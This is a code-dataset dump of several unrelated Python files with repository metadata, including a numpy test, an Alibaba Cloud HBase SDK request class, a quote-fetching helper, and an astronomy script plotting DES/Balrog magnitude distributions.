] | null | null | null | Source_Codes/checking.py | nirajbasnet/dynamics_modeling_of_self_driving_car | 1008a653806a3fa0b8369b6da6464993042d41a3 | [
"MIT"
] | null | null | null | Source_Codes/checking.py | nirajbasnet/dynamics_modeling_of_self_driving_car | 1008a653806a3fa0b8369b6da6464993042d41a3 | [
"MIT"
] | null | null | null | # Created by Aashish Adhikari at 9:56 PM 3/11/2020
import numpy as np
L = 2
N = 5
A = np.random.rand(L,L)
print(A)
print("-----------------")
print(np.tile(A,(N, 1, 1)))
print("-----------------")
print(np.tile(A,(N, 2, 2)))
| 14.375 | 50 | 0.513043 | 43 | 230 | 2.744186 | 0.581395 | 0.169492 | 0.20339 | 0.271186 | 0.305085 | 0.305085 | 0 | 0 | 0 | 0 | 0 | 0.082474 | 0.156522 | 230 | 15 | 51 | 15.333333 | 0.525773 | 0.208696 | 0 | 0.222222 | 0 | 0 | 0.188889 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.111111 | 0.555556 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
7ce0694732797ad4a5c68c5b00b30351e4d019af | 390 | py | Python | tests/conftest.py | vinitX/mpnum | 92549446687da6366246f64952c65789be3031bf | [
"BSD-3-Clause"
] | 36 | 2016-04-06T10:28:02.000Z | 2019-08-12T00:12:57.000Z | tests/conftest.py | vinitX/mpnum | 92549446687da6366246f64952c65789be3031bf | [
"BSD-3-Clause"
] | 39 | 2016-03-09T15:52:36.000Z | 2019-05-14T03:25:49.000Z | tests/conftest.py | vinitX/mpnum | 92549446687da6366246f64952c65789be3031bf | [
"BSD-3-Clause"
] | 13 | 2016-04-06T10:28:05.000Z | 2018-09-15T04:32:21.000Z | import numpy as np
import pytest
def pytest_namespace():
return dict(
# nr_sites, local_dim, rank
MP_TEST_PARAMETERS=[(1, 7, np.nan), (2, 3, 3), (3, 2, 4), (6, 2, 4),
(4, 3, 5), (5, 2, 1)],
MP_TEST_DTYPES=[np.float_, np.complex_]
)
@pytest.fixture(scope="module")
def rgen():
return np.random.RandomState(seed=3476583865)
| 22.941176 | 76 | 0.561538 | 57 | 390 | 3.684211 | 0.631579 | 0.057143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.095745 | 0.276923 | 390 | 16 | 77 | 24.375 | 0.648936 | 0.064103 | 0 | 0 | 0 | 0 | 0.016529 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | true | 0 | 0.181818 | 0.181818 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
7cf6e386fe292a47fa440d2b34fc1e18285635d1 | 271 | py | Python | PythonExercicios/ex006.py | Luis-Emanuel/Python | 92936dfb005b9755a53425d16c3ff54119eebe78 | [
"MIT"
] | null | null | null | PythonExercicios/ex006.py | Luis-Emanuel/Python | 92936dfb005b9755a53425d16c3ff54119eebe78 | [
"MIT"
] | null | null | null | PythonExercicios/ex006.py | Luis-Emanuel/Python | 92936dfb005b9755a53425d16c3ff54119eebe78 | [
"MIT"
] | null | null | null | #Crie um algoritmo que leia um número e mostre seu dobro, triplo e raiz quadrada.
num = int(input('Digite um número? '))
print('O dobro de {} vale {} \nO triplo de {} vale {} \nA raiz quadrada de {} e igual a {:.2f}'.format(num,(num*2), num, (num*3), num, (num**(1/2))))
| 67.75 | 149 | 0.638376 | 49 | 271 | 3.530612 | 0.612245 | 0.104046 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022222 | 0.169742 | 271 | 3 | 150 | 90.333333 | 0.746667 | 0.295203 | 0 | 0 | 0 | 0.5 | 0.552632 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
6b023a20205d4bd3f76a8d3a425afbcba0c4664d | 273 | py | Python | dxtorchutils/ImageClassification/models/__init__.py | Ian-Dx/DxTorchUtils | af1d522f58f1b7baed8f661757dd45c13343ddcd | [
"MIT"
] | 4 | 2020-12-14T15:35:11.000Z | 2021-05-26T07:16:10.000Z | build/lib/dxtorchutils/ImageClassification/models/__init__.py | Ian-Dx/DxTorchUtils | af1d522f58f1b7baed8f661757dd45c13343ddcd | [
"MIT"
] | null | null | null | build/lib/dxtorchutils/ImageClassification/models/__init__.py | Ian-Dx/DxTorchUtils | af1d522f58f1b7baed8f661757dd45c13343ddcd | [
"MIT"
] | null | null | null | __all__ = [
"AlexNet", "GoogLeNet", "LeNet5", "ResNet", "VGG"
]
from .AlexNet import AlexNet
from .GoogLeNet import GoogLeNet
from .LeNet5 import LeNet5
from .VGG import VGG11, VGG13, VGG16, VGG19
from .ResNet import ResNet18, ResNet34, ResNet50, ResNet101, ResNet152
| 27.3 | 70 | 0.74359 | 33 | 273 | 6.030303 | 0.515152 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.099138 | 0.150183 | 273 | 9 | 71 | 30.333333 | 0.758621 | 0 | 0 | 0 | 0 | 0 | 0.113553 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.625 | 0 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
6b0c0de919374b09b4737d371897e5598f2292b5 | 4,800 | py | Python | aliyun-python-sdk-hbase/aliyunsdkhbase/request/v20190101/CreateClusterRequest.py | yndu13/aliyun-openapi-python-sdk | 12ace4fb39fe2fb0e3927a4b1b43ee4872da43f5 | [
"Apache-2.0"
] | 1,001 | 2015-07-24T01:32:41.000Z | 2022-03-25T01:28:18.000Z | aliyun-python-sdk-hbase/aliyunsdkhbase/request/v20190101/CreateClusterRequest.py | yndu13/aliyun-openapi-python-sdk | 12ace4fb39fe2fb0e3927a4b1b43ee4872da43f5 | [
"Apache-2.0"
] | 363 | 2015-10-20T03:15:00.000Z | 2022-03-08T12:26:19.000Z | aliyun-python-sdk-hbase/aliyunsdkhbase/request/v20190101/CreateClusterRequest.py | yndu13/aliyun-openapi-python-sdk | 12ace4fb39fe2fb0e3927a4b1b43ee4872da43f5 | [
"Apache-2.0"
] | 682 | 2015-09-22T07:19:02.000Z | 2022-03-22T09:51:46.000Z | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
from aliyunsdkcore.request import RpcRequest
from aliyunsdkhbase.endpoint import endpoint_data
class CreateClusterRequest(RpcRequest):
def __init__(self):
RpcRequest.__init__(self, 'HBase', '2019-01-01', 'CreateCluster','hbase')
self.set_method('POST')
if hasattr(self, "endpoint_map"):
setattr(self, "endpoint_map", endpoint_data.getEndpointMap())
if hasattr(self, "endpoint_regional"):
setattr(self, "endpoint_regional", endpoint_data.getEndpointRegional())
def get_ClusterName(self):
return self.get_query_params().get('ClusterName')
def set_ClusterName(self,ClusterName):
self.add_query_param('ClusterName',ClusterName)
def get_ClientToken(self):
return self.get_query_params().get('ClientToken')
def set_ClientToken(self,ClientToken):
self.add_query_param('ClientToken',ClientToken)
def get_EngineVersion(self):
return self.get_query_params().get('EngineVersion')
def set_EngineVersion(self,EngineVersion):
self.add_query_param('EngineVersion',EngineVersion)
def get_ResourceGroupId(self):
return self.get_query_params().get('ResourceGroupId')
def set_ResourceGroupId(self,ResourceGroupId):
self.add_query_param('ResourceGroupId',ResourceGroupId)
def get_Engine(self):
return self.get_query_params().get('Engine')
def set_Engine(self,Engine):
self.add_query_param('Engine',Engine)
def get_AutoRenewPeriod(self):
return self.get_query_params().get('AutoRenewPeriod')
def set_AutoRenewPeriod(self,AutoRenewPeriod):
self.add_query_param('AutoRenewPeriod',AutoRenewPeriod)
def get_Period(self):
return self.get_query_params().get('Period')
def set_Period(self,Period):
self.add_query_param('Period',Period)
def get_DiskSize(self):
return self.get_query_params().get('DiskSize')
def set_DiskSize(self,DiskSize):
self.add_query_param('DiskSize',DiskSize)
def get_EncryptionKey(self):
return self.get_query_params().get('EncryptionKey')
def set_EncryptionKey(self,EncryptionKey):
self.add_query_param('EncryptionKey',EncryptionKey)
def get_MasterInstanceType(self):
return self.get_query_params().get('MasterInstanceType')
def set_MasterInstanceType(self,MasterInstanceType):
self.add_query_param('MasterInstanceType',MasterInstanceType)
def get_DiskType(self):
return self.get_query_params().get('DiskType')
def set_DiskType(self,DiskType):
self.add_query_param('DiskType',DiskType)
def get_VSwitchId(self):
return self.get_query_params().get('VSwitchId')
def set_VSwitchId(self,VSwitchId):
self.add_query_param('VSwitchId',VSwitchId)
def get_SecurityIPList(self):
return self.get_query_params().get('SecurityIPList')
def set_SecurityIPList(self,SecurityIPList):
self.add_query_param('SecurityIPList',SecurityIPList)
def get_ColdStorageSize(self):
return self.get_query_params().get('ColdStorageSize')
def set_ColdStorageSize(self,ColdStorageSize):
self.add_query_param('ColdStorageSize',ColdStorageSize)
def get_PeriodUnit(self):
return self.get_query_params().get('PeriodUnit')
def set_PeriodUnit(self,PeriodUnit):
self.add_query_param('PeriodUnit',PeriodUnit)
def get_CoreInstanceType(self):
return self.get_query_params().get('CoreInstanceType')
def set_CoreInstanceType(self,CoreInstanceType):
self.add_query_param('CoreInstanceType',CoreInstanceType)
def get_VpcId(self):
return self.get_query_params().get('VpcId')
def set_VpcId(self,VpcId):
self.add_query_param('VpcId',VpcId)
def get_NodeCount(self):
return self.get_query_params().get('NodeCount')
def set_NodeCount(self,NodeCount):
self.add_query_param('NodeCount',NodeCount)
def get_ZoneId(self):
return self.get_query_params().get('ZoneId')
def set_ZoneId(self,ZoneId):
self.add_query_param('ZoneId',ZoneId)
def get_PayType(self):
return self.get_query_params().get('PayType')
def set_PayType(self,PayType):
self.add_query_param('PayType',PayType) | 31.578947 | 76 | 0.764167 | 614 | 4,800 | 5.752443 | 0.203583 | 0.033975 | 0.079275 | 0.096263 | 0.175538 | 0.175538 | 0.175538 | 0 | 0 | 0 | 0 | 0.002861 | 0.12625 | 4,800 | 152 | 77 | 31.578947 | 0.839294 | 0.157083 | 0 | 0 | 0 | 0 | 0.134374 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.455556 | false | 0 | 0.022222 | 0.222222 | 0.711111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
6b315ade9780697cd978b860fea96a1451392525 | 752 | py | Python | blogsite/request.py | Naomi-sigu/blogsite | 2fe4e70bcb4559886b85b76fb84776825f9c22a8 | [
"MIT"
] | null | null | null | blogsite/request.py | Naomi-sigu/blogsite | 2fe4e70bcb4559886b85b76fb84776825f9c22a8 | [
"MIT"
] | null | null | null | blogsite/request.py | Naomi-sigu/blogsite | 2fe4e70bcb4559886b85b76fb84776825f9c22a8 | [
"MIT"
] | null | null | null | import os
import urllib.request
import json
from app.models import Quote
def get_quote():
get_quote_url = 'http://quotes.stormconsultancy.co.uk/random.json'
with urllib.request.urlopen(get_quote_url) as url:
quote_details_data = url.read()
quote_details_response = json.loads(quote_details_data)
quote_object = None
if quote_details_response:
id = quote_details_response.get('id')
author = quote_details_response.get('author')
quote = quote_details_response.get('quote')
permalink = quote_details_response.get('permalink')
quote_object = Quote(id, author, quote, permalink)
print(quote_object)
return quote_object | 30.08 | 70 | 0.664894 | 91 | 752 | 5.21978 | 0.373626 | 0.202105 | 0.252632 | 0.193684 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25133 | 752 | 25 | 71 | 30.08 | 0.843694 | 0 | 0 | 0 | 0 | 0 | 0.092961 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0 | 0.222222 | 0 | 0.333333 | 0.055556 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6b3fd9a82cf58dde043933e421baa0fc2d31c359 | 305 | py | Python | emrichen/tags/var.py | dkreuer/emrichen | ef2b2ad5cd828a9dfed6d7924cee207e13598b0f | [
"MIT"
] | 62 | 2019-01-17T18:47:45.000Z | 2022-03-23T10:00:09.000Z | emrichen/tags/var.py | dkreuer/emrichen | ef2b2ad5cd828a9dfed6d7924cee207e13598b0f | [
"MIT"
] | 24 | 2019-01-18T10:05:36.000Z | 2022-02-20T17:46:36.000Z | emrichen/tags/var.py | dkreuer/emrichen | ef2b2ad5cd828a9dfed6d7924cee207e13598b0f | [
"MIT"
] | 10 | 2019-02-12T23:58:29.000Z | 2022-02-18T09:42:35.000Z | from ..context import Context
from .base import BaseTag
class Var(BaseTag):
"""
arguments: Variable name
example: "`!Var image_name`"
description: Replaced with the value of the variable.
"""
def enrich(self, context: Context):
return context.enrich(context[self.data])
| 21.785714 | 57 | 0.67541 | 37 | 305 | 5.540541 | 0.621622 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.219672 | 305 | 13 | 58 | 23.461538 | 0.861345 | 0.35082 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.4 | 0.2 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 3 |
86091851f1a10be1de5e40cec34cd59649ee9939 | 440 | py | Python | tsheets/repos/last_modified_timestamps.py | eturpin/api_python | fac15d06ef2510972ed3c812bb16a675d4e30e3c | [
"MIT"
] | 6 | 2018-12-16T19:53:57.000Z | 2020-11-22T12:36:57.000Z | tsheets/repos/last_modified_timestamps.py | eturpin/api_python | fac15d06ef2510972ed3c812bb16a675d4e30e3c | [
"MIT"
] | 6 | 2019-02-01T13:51:59.000Z | 2020-11-23T22:42:57.000Z | tsheets/repos/last_modified_timestamps.py | eturpin/api_python | fac15d06ef2510972ed3c812bb16a675d4e30e3c | [
"MIT"
] | 8 | 2018-12-16T19:53:48.000Z | 2021-11-24T17:08:04.000Z | from tsheets.repository import Repository
from datetime import date, datetime
import tsheets.models as models
class LastModifiedTimestamps(Repository):
pass
LastModifiedTimestamps.add_me_to_subcls()
LastModifiedTimestamps.add_url("/last_modified_timestamps")
LastModifiedTimestamps.add_model(models.LastModifiedTimestamps, singleton=True)
LastModifiedTimestamps.add_actions(['list'])
LastModifiedTimestamps.filter("endpoints", str)
| 29.333333 | 79 | 0.852273 | 45 | 440 | 8.155556 | 0.6 | 0.27248 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070455 | 440 | 14 | 80 | 31.428571 | 0.897311 | 0 | 0 | 0 | 0 | 0 | 0.086364 | 0.056818 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.1 | 0.3 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
86392e0625c2adb6a3c31a38fc8064d3e2210d0e | 13,938 | py | Python | tests/mag_compare.py | mattkwiecien/balutils | 9dcd5419a796e23df671fc4dc22c78cf7e2c61fc | [
"MIT"
] | null | null | null | tests/mag_compare.py | mattkwiecien/balutils | 9dcd5419a796e23df671fc4dc22c78cf7e2c61fc | [
"MIT"
] | null | null | null | tests/mag_compare.py | mattkwiecien/balutils | 9dcd5419a796e23df671fc4dc22c78cf7e2c61fc | [
"MIT"
] | 1 | 2021-01-23T17:31:34.000Z | 2021-01-23T17:31:34.000Z | import numpy as np
# import fitsio
# import os
import matplotlib.pyplot as plt
import balutils.stacked_catalogs as sc
# Files for Run1:
#run_name = 'Run1'
#df_file = '/data/des81.a/data/severett/tests/bright_objs/Y3A2_MISC_MOF_V1_COADD_TRUTH_MAGS.fits'
#inj_file = '/data/des81.a/data/severett/tests/bright_objs/BALROG_RUN1_DEEP_CAT_FLAG0INVHS1SNGTM3DET254.fits'
#det_file = '/data/des41.b/data/severett/Balrog/prod020419/stacked_catalogs/1.4/sof/balrog_detection_catalog_sof_v1.4.fits'
#gold_file = '/data/des81.a/data/severett/tests/bright_objs/Y3_GOLD_2_2_1.0_bobjs_mags.fits'
#mcal_file = '/data/des41.b/data/severett/Balrog/prod020419/stacked_catalogs/1.4/mcal/balrog_mcal_stack-y3v02-0-riz-noNB-mcal_v1.4.h5'
#sof_file = '/data/des41.b/data/severett/Balrog/prod020419/stacked_catalogs/1.4/sof/balrog_matched_catalog_sof_v1.4.fits'
# Files for Prerun2:
#run_name = 'Prerun2'
#df_file = '/data/des80.a/data/yanny/deepmeds4/run-ugriz-mof02.fits'
#df_file = '/data/des81.a/data/severett/tests/bright_objs/run-ugriz-mof02-tests.fits'
#inj_file = '/data/des80.a/data/yanny/deepmeds4/BALROG_RUN2_DEEP_CAT_FLAG0INVHS1BDFLT254v4.fits'
#gold_file = '/data/des81.a/data/severett/tests/bright_objs/Y3_GOLD_2_2_1.0_bobjs_mags.fits'
# det_file = '/data/des81.a/data/severett/matched_stacks/prerun2/sof/balrog_detection_catalog_sof_v1.0.fits'
# sof_file = '/data/des81.a/data/severett/matched_stacks/prerun2/sof/balrog_matched_catalog_sof_v1.0.fits'
# mcal_file = '/data/des81.a/data/severett/matched_stacks/prerun2/mcal/balrog_mcal_stack-y3v02-0-riz-mcal_v1.0.h5'
run_name = 'Run2'
df_file = '/data/des80.a/data/yanny/deepmeds4/run-ugriz-mof02.fits'
inj_file = '/data/des80.a/data/yanny/deepmeds4/BALROG_RUN2_DEEP_CAT_FLAG0INVHS1BDFLT254v4.fits'
gold_file = '/data/des81.a/data/severett/tests/bright_objs/Y3_GOLD_2_2_1.0_bobjs_mags.fits'
det_file = '/data/des81.a/data/severett/matched_stacks/run2/sof/balrog_detection_catalog_sof_run2_v1.0.fits'
sof_file = '/data/des81.a/data/severett/matched_stacks/run2/sof/balrog_matched_catalog_sof_run2_v1.0.fits'
mcal_file = '/data/des81.a/data/severett/matched_stacks/run2/mcal/balrog_mcal_stack-y3v02-0-riz-noNB-mcal_v1.0.h5'
if '1' in run_name:
match_type = 'default'
elif '2' in run_name:
match_type = 'sof_only'
make_plots = {
'df_vs_wf':True,
'inj_vs_df':True,
'inj_vs_wf':True,
'sof_vs_wf':True,
'mcal_vs_wf':True,
'sof_vs_wf_s2n':False
}
def plot_mags(mags, mmin=15, mmax=30, dm=0.25, label='', a=0.5, c=None, s=10, title=None, density=False, show=True):
bins = np.arange(mmin, mmax+dm, dm)
bindx = dict(zip('griz', range(4)))
for b, bi in bindx.items():
plt.subplot(2,2,bi+1)
plt.hist(mags[bi], bins=bins, ec='k', label=label, alpha=a, color=c,
density=density)
plt.yscale('log')
plt.xlabel('{}-band mag'.format(b))
if density is True:
plt.ylabel('Norm. Counts')
else:
plt.ylabel('Counts')
plt.legend()
if title is not None:
plt.title(title)
if show is True:
plt.gcf().set_size_inches(s,s)
plt.show()
return
def plot_dist(x, xmin=0, xmax=100, dx=1, xlabel='', label='', a=0.5, c=None, s=10, title=None, density=False, show=True):
bins = np.arange(xmin, xmax+dx, dx)
plt.hist(x, bins=bins, ec='k', label=label, alpha=a, color=c, density=density)
plt.yscale('log')
plt.xlabel(xlabel)
plt.ylabel(xlabel)
if density is True:
plt.ylabel('Norm. Counts')
else:
plt.ylabel('Counts')
plt.legend()
if title is not None:
plt.title(title)
if show is True:
plt.gcf().set_size_inches(s,s)
plt.show()
return
def main():
# Code below assumes photo-z gold cuts have already been
# applied to gold cat to save memory
# Pick a max where both are complete
mmax = 22.
print('Starting DF mag vs Y3 mag...')
gold_cols = ['SOF_CM_MAG_G', 'SOF_CM_MAG_R', 'SOF_CM_MAG_I', 'SOF_CM_MAG_Z',
'SOF_CM_T', 'SOF_CM_T_ERR']
print('Loading Gold...')
gold = sc.GoldFitsCatalog(gold_file, cols=gold_cols)
gcut = np.where(
(gold['SOF_CM_MAG_I']<mmax)
)
gold.apply_cut(gcut)
if '1' in run_name:
df_cols = ['CM_MAG_G', 'CM_MAG_R', 'CM_MAG_I', 'CM_MAG_Z']
print('Loading DF...')
df = sc.FitsCatalog(df_file, cols=df_cols)
dcut = np.where(
(df['CM_MAG_I']<mmax)
)
df.apply_cut(dcut)
elif '2' in run_name:
df_cols = ['bdf_mag', 'mask_flags']
print('Loading DF...')
df = sc.FitsCatalog(df_file, cols=df_cols)
dcut = np.where(
(df['bdf_mag'][:,2]<mmax) &
(df['mask_flags']==0)
)
df.apply_cut(dcut)
if '1' in run_name:
inj_cols = ['cm_mag']
print('Loading Inj...')
inj = sc.FitsCatalog(inj_file, cols=inj_cols)
icut = np.where(
(inj['cm_mag'][:,2]<mmax)
)
inj.apply_cut(icut)
elif '2' in run_name:
inj_cols = ['bdf_mag']
print('Loading Inj...')
inj = sc.FitsCatalog(inj_file, cols=inj_cols)
icut = np.where(
(inj['bdf_mag'][:,2]<mmax)
)
inj.apply_cut(icut)
mcal_cols = ['flux_r', 'flux_i', 'flux_z', 'flags', 'psf_T', 'T', 'snr', 'bal_id']
det_cols = ['bal_id', 'meas_FLAGS_GOLD', 'flags_footprint', 'flags_badregions', 'flags_foreground']
mcal = sc.BalrogMcalCatalog(mcal_file, det_file, mcal_cols=mcal_cols, det_cols=det_cols,
match_type=match_type, vb=True)
mcal.apply_gold_cuts()
bcut = np.where(
(mcal['mag_i']<mmax)
)
mcal.apply_cut(bcut)
sof_cols = ['bal_id', 'meas_cm_mag', 'meas_cm_s2n_r']
print('Loading SOF...')
sof = sc.BalrogMatchedCatalog(sof_file, det_file, match_cols=sof_cols, det_cols=det_cols, match_type=match_type, vb=True)
scut = np.where(
(sof['meas_cm_mag'][:,2]<mmax)
)
sof.apply_cut(scut)
# DF mag vs Y3 mag
if make_plots['df_vs_wf'] is True:
print('Plotting Gold...')
plot_mags([gold['SOF_CM_MAG_G'],
gold['SOF_CM_MAG_R'],
gold['SOF_CM_MAG_I'],
gold['SOF_CM_MAG_Z']],
label='Y3 Gold',
c='tab:orange',
density=True,
mmax=mmax+1,
show=False)
print('Plotting DF...')
if '1' in run_name:
plot_mags([df['CM_MAG_G'],
df['CM_MAG_R'],
df['CM_MAG_I'],
df['CM_MAG_Z']],
label='DF COADD_TRUTH',
c='tab:blue',
density=True,
mmax=mmax+1,
title='DF vs Y3 Gold Sample')
elif '2' in run_name:
plot_mags([df['bdf_mag'][:,0],
df['bdf_mag'][:,1],
df['bdf_mag'][:,2],
df['bdf_mag'][:,3]],
label='DF mof02',
c='tab:blue',
density=True,
mmax=mmax+1,
title='DF vs Y3 Gold Sample')
# Inj vs DF
if make_plots['inj_vs_df'] is True:
print('Plotting Injections...')
if '1' in run_name:
plot_mags([inj['cm_mag'][:,0],
inj['cm_mag'][:,1],
inj['cm_mag'][:,2],
inj['cm_mag'][:,3]],
label='Run1 Injections',
c='tab:green',
density=True,
mmax=mmax+1,
show=False)
elif '2' in run_name:
plot_mags([inj['bdf_mag'][:,0],
inj['bdf_mag'][:,1],
inj['bdf_mag'][:,2],
inj['bdf_mag'][:,3]],
label='Run2 v4 Injections',
c='tab:green',
density=True,
mmax=mmax+1,
show=False)
print('Plotting DF...')
if '1' in run_name:
plot_mags([df['CM_MAG_G'],
df['CM_MAG_R'],
df['CM_MAG_I'],
df['CM_MAG_Z']],
label='DF COADD_TRUTH',
c='tab:blue',
density=True,
mmax=mmax+1,
title='DF vs Y3 Gold Sample')
elif '2' in run_name:
plot_mags([df['bdf_mag'][:,0],
df['bdf_mag'][:,1],
df['bdf_mag'][:,2],
df['bdf_mag'][:,3]],
label='DF mof02',
c='tab:blue',
density=True,
mmax=mmax+1,
title='DF vs Y3 Gold Sample')
# Inj vs WF
if make_plots['inj_vs_wf'] is True:
print('Plotting Injections...')
if '1' in run_name:
plot_mags([inj['cm_mag'][:,0],
inj['cm_mag'][:,1],
inj['cm_mag'][:,2],
inj['cm_mag'][:,3]],
label='Run1 Injections',
c='tab:green',
density=True,
mmax=mmax+1,
show=False)
elif '2' in run_name:
plot_mags([inj['bdf_mag'][:,0],
inj['bdf_mag'][:,1],
inj['bdf_mag'][:,2],
inj['bdf_mag'][:,3]],
label='Run2 v4 Injections',
c='tab:green',
density=True,
mmax=mmax+1,
show=False)
print('Plotting Gold...')
plot_mags([gold['SOF_CM_MAG_G'],
gold['SOF_CM_MAG_R'],
gold['SOF_CM_MAG_I'],
gold['SOF_CM_MAG_Z']],
label='Y3 Gold',
c='tab:orange',
density=True,
mmax=mmax+1,
title='Injections vs Y3 Gold Sample')
# Bal SOF (all) vs WF SOF
if make_plots['sof_vs_wf'] is True:
print('Plotting Balrog SOF...')
plot_mags([sof['meas_cm_mag'][:,0],
sof['meas_cm_mag'][:,1],
sof['meas_cm_mag'][:,2],
sof['meas_cm_mag'][:,3]],
label='Balrog SOF {}'.format(run_name),
c='tab:cyan',
density=True,
mmax=mmax+1,
show=False)
print('Plotting Gold...')
plot_mags([gold['SOF_CM_MAG_G'],
gold['SOF_CM_MAG_R'],
gold['SOF_CM_MAG_I'],
gold['SOF_CM_MAG_Z']],
label='Y3 Gold',
c='tab:orange',
density=True,
mmax=mmax+1,
title='Balrog SOF {} (all) vs Y3 Gold Sample'.format(run_name))
# Bal SOF (gold) vs WF SOF
sof.apply_gold_cuts()
if make_plots['sof_vs_wf'] is True:
print('Plotting Balrog SOF...')
plot_mags([sof['meas_cm_mag'][:,0],
sof['meas_cm_mag'][:,1],
sof['meas_cm_mag'][:,2],
sof['meas_cm_mag'][:,3]],
label='Balrog SOF {}'.format(run_name),
c='tab:cyan',
density=True,
mmax=mmax+1,
show=False)
print('Plotting Gold...')
plot_mags([gold['SOF_CM_MAG_G'],
gold['SOF_CM_MAG_R'],
gold['SOF_CM_MAG_I'],
gold['SOF_CM_MAG_Z']],
label='Y3 Gold',
c='tab:orange',
density=True,
mmax=mmax+1,
title='Balrog SOF {} (Gold cuts) vs Y3 Gold Sample'.format(run_name)
)
# Bal SOF (gold) vs WF SOF S2N
if make_plots['sof_vs_wf_s2n'] is True:
print('Plotting Balrog SOF...')
plot_dist(sof['meas_cm_s2n_r'],
label='Balrog SOF {}'.format(run_name),
xlabel='cm_s2n_r',
c='tab:cyan',
density=True,
xmax=150,
show=False)
print('Plotting Gold...')
plot_dist([gold['SOF_CM_FLUX_S2N_G'],
gold['SOF_CM_FLUX_S2N_R'],
gold['SOF_CM_FLUX_S2N_I'],
gold['SOF_CM_FLUX_S2N_Z']],
label='Y3 Gold',
xlabel='cm_s2n_r',
c='tab:orange',
density=True,
mmax=mmax+1,
title='Balrog SOF {} (Gold cuts) vs Y3 Gold Sample'.format(run_name))
# Bal mcal vs WF SOF
if make_plots['mcal_vs_wf'] is True:
print('Plotting Balrog mcal...')
plot_mags([np.nan,
mcal['mag_r'],
mcal['mag_i'],
mcal['mag_z']],
label='Balrog {}'.format(run_name),
c='tab:cyan',
density=True,
mmax=mmax+1,
show=False)
print('Plotting Gold...')
plot_mags([gold['SOF_CM_MAG_G'],
gold['SOF_CM_MAG_R'],
gold['SOF_CM_MAG_I'],
gold['SOF_CM_MAG_Z']],
label='Y3 Gold',
c='tab:orange',
density=True,
mmax=mmax+1,
title='Balrog Mcal {} (Gold cuts) vs Y3 Gold Sample'.format(run_name))
return
if __name__ == '__main__':
main()
